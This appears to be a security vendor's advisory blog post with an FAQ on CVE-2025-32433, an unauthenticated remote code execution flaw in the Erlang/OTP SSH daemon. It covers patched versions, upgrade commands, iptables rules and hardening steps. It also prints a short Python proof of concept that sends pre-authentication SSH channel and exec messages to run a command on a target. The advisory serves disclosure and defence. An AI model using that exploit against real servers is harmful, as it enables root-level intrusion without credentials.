What is the CVE-2025-32433 vulnerability in Erlang/OTP SSH daemon?

The CVE-2025-32433 vulnerability is a flaw in the Erlang/OTP SSH daemon that allows attackers to exploit pre-authentication SSH protocol messages. This enables them to bypass the key-exchange state machine and open arbitrary channels before credentials are verified. On versions prior to OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, attackers can execute commands with the daemon’s privileges, often root, over TCP/22. (Source: IONIX Blog)

What are the potential risks associated with CVE-2025-32433?

The risks include full system compromise (adversaries gain shell-level control, enabling lateral movement, ransomware deployment, or data exfiltration), widespread exposure (Erlang/OTP underpins routers, 5G core components, message brokers, and IoT gateways, many of which are internet-facing), high automation potential (the exploit requires no credentials or user interaction), and business disruption (telecom outages, VoIP downtime, and loss of critical messaging back-planes can lead to SLA penalties and revenue loss). (Source: IONIX Blog)

What mitigation steps are recommended for CVE-2025-32433?

Recommended mitigation steps include: 1) Patch Immediately – Upgrade Erlang or distribution-supplied packages to fixed versions: 27.x: 27.3.3, 26.x: 26.2.5.11, 25.x: 25.3.2.20. 2) Disable the SSH Application if Unused – Add {ssh, [{enabled, false}]} to your sys.config and rebuild or hot-load the config. 3) Restrict Network Access – Use iptables to limit access to the SSH daemon. 4) Runtime Hardening – Run the daemon under a non-privileged user, enable SELinux/AppArmor confinement, and monitor with IONIX Exposure Validator. (Source: IONIX Blog)

What are the patched Erlang/OTP versions for CVE-2025-32433?

The patched versions for Erlang/OTP to address CVE-2025-32433 are: 27.x: 27.3.3, 26.x: 26.2.5.11, and 25.x: 25.3.2.20. (Source: IONIX Blog)

What is the Ubuntu/Debian quick-fix for CVE-2025-32433?

The Ubuntu/Debian quick-fix involves running: sudo apt update && sudo apt install --only-upgrade erlang-base erlang-ssh. This ensures the Erlang/OTP packages are updated to patched versions. (Source: IONIX Blog)

What is the significance of CWE-306 in CVE-2025-32433?

CWE-306, or Missing Authentication for Critical Function, highlights the vulnerability's root cause: the absence of authentication checks for critical functions in the Erlang/OTP SSH daemon. This classification underscores the severity of the flaw. (Source: IONIX Blog)

What industries are most exposed to CVE-2025-32433?

Industries such as telecom, IoT, and those using Erlang-based software like RabbitMQ and CouchDB are highly exposed due to widespread use of the vulnerable SSH daemon. (Source: IONIX Blog)

What is the impact of CVE-2025-32433 on IoT and telecom systems?

CVE-2025-32433 impacts IoT and telecom systems significantly as Erlang/OTP underpins routers, 5G core components, message brokers, and IoT gateways. Many of these systems are internet-facing with weak network segmentation, increasing exposure to attacks. (Source: IONIX Blog)

Where can I find more information about Erlang/OTP SSH CVE-2025-32433?

You can find detailed information about Erlang/OTP SSH CVE-2025-32433 on the IONIX blog at this link.

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Exploited! Erlang/OTP SSH Unauthenticated Remote Code Execution Vulnerability (CVE-2025-32433)

Amit Sheps Director of Product Marketing

April 23, 2025

Erlang/OTP ships with an SSH daemon that many telecom, IoT, Elixir/Phoenix, RabbitMQ and CouchDB deployments leave running for convenience.
A flaw in how that daemon parses pre-authentication SSH protocol messages enables an attacker to break out of the key-exchange state machine and open an arbitrary channel before credentials are verified. On all versions prior to OTP-27.3.3, OTP-26.2.5.11 and OTP-25.3.2.20, this short-circuits every subsequent security control and lets a remote adversary execute commands with the daemon’s privileges—often root—over nothing more than TCP/22.

GitHub assigned the flaw a CVSS 3.1 score of 10.0 (CRITICAL) and MITRE classifies it under CWE-306: Missing Authentication for Critical Function.
The bug was responsibly disclosed by researchers at Ruhr-University Bochum and patched within 48 hours, but proof-of-concept (PoC) exploits followed immediately.

In this article

Exploiting the Vulnerability

Below is a heavily redacted PoC that weaponises the logic error. It builds a raw SSH packet sequence that opens a session channel and drops a file on the target—all without authenticating:

#!/usr/bin/env python3

# PoC for CVE-2025-32433 — educational use only

import socket, struct

HOST = "victim.example.com"

PORT = 22

def msg(kind, payload=b""):

    return struct.pack(">IB", len(payload)+1, kind) + payload

with socket.create_connection((HOST, PORT)) as s:

    s.sendall(b"SSH-2.0-Exploit\r\n")              # bogus banner

    s.recv(256)                                    # banner back

    s.sendall(msg(20) + msg(90, b"session"))       # KEXINIT + CHANNEL_OPEN

    s.sendall(msg(98, b"exec\x00\x00\x00\x04id -a"))  # CHANNEL_REQUEST

    print(s.recv(4096).decode())

Because the daemon never reaches userauth state, it accepts the CHANNEL_OPEN and immediately processes exec, running id -a (or any payload supplied). Horizon3 and several independent researchers have confirmed exploitation is “surprisingly easy” and public PoCs are now on GitHub.

Potential Risks

Full System Compromise – When ssh:daemon/4 runs as root (the default in many embedded builds), adversaries gain shell-level control, enabling lateral movement, ransomware deployment or data exfiltration.
Widespread Exposure – Erlang/OTP underpins routers, 5G core components, message brokers and IoT gateways. Many of these are internet-facing with weak network segmentation.
High Automation Potential – The exploit requires no credentials, no user interaction and negligible bandwidth, making it ideal for botnet operators and worm-like propagation.
Business Disruption – Telecom outages, VoIP downtime and loss of critical messaging back-planes translate directly into SLA penalties and revenue loss.

Given the breadth of Erlang-based software, defenders should assume exploit attempts will surface in automated scanners and commodity attack kits soon.

Mitigation Steps

Patch Immediately
Upgrade the Erlang or distribution-supplied packages to the fixed versions:

Erlang Line	Patched Release
27.x	27.3.3
26.x	26.2.5.11
25.x	25.3.2.20

Ubuntu / Debian quick-fix:

sudo apt update && sudo apt install --only-upgrade erlang-base erlang-ssh

erl -eval 'erlang:display(erlang:system_info(otp_release)), halt().'

Disable the SSH Application if Unused
In your sys.config (or rebar.config), add:

{ssh, [{enabled, false}]}.

Then rebuild or hot-load the config:

bin/myapp remote_console

application:stop(ssh), init:restart().

Restrict Network Access (interim control)

# allow only the bastion host to reach Erlang SSH

sudo iptables -I INPUT -p tcp --dport 22 ! -s <bastion-IP> -j DROP

Runtime Hardening
- Run the daemon under a non-privileged user ({user_dir, “/nonroot”} in the release).
- Enable SELinux/AppArmor confinement.
- Monitor with IONIX Exposure Validator to continually validate mitigations across your externally implemented CTEM program.

These steps mirror the official advisory guidance and align with continuous threat exposure management (CTEM) best practices implemented by IONIX.

Am I Impacted by CVE-2025-32433?

IONIX is actively tracking this vulnerability. Our security research team has developed a full exploit simulation model based on known exploits. This allows us to assess which customers have impacted assets. IONIX customers can view updated information on their specific assets in the threat center of the IONIX portal.

IONIX customers will see updated information on their specific assets in the threat center of the IONIX portal.

References

National Vulnerability Database entry for CVE-2025-32433
GitHub Security Advisory GHSA-37cp-fgq5-7wc2
BleepingComputer coverage on public PoCs
CSO Online analysis of IoT/telecom exposure

Openwall oss-security disclosure thread

Frequently Asked Questions

Vulnerability: Erlang/OTP SSH CVE-2025-32433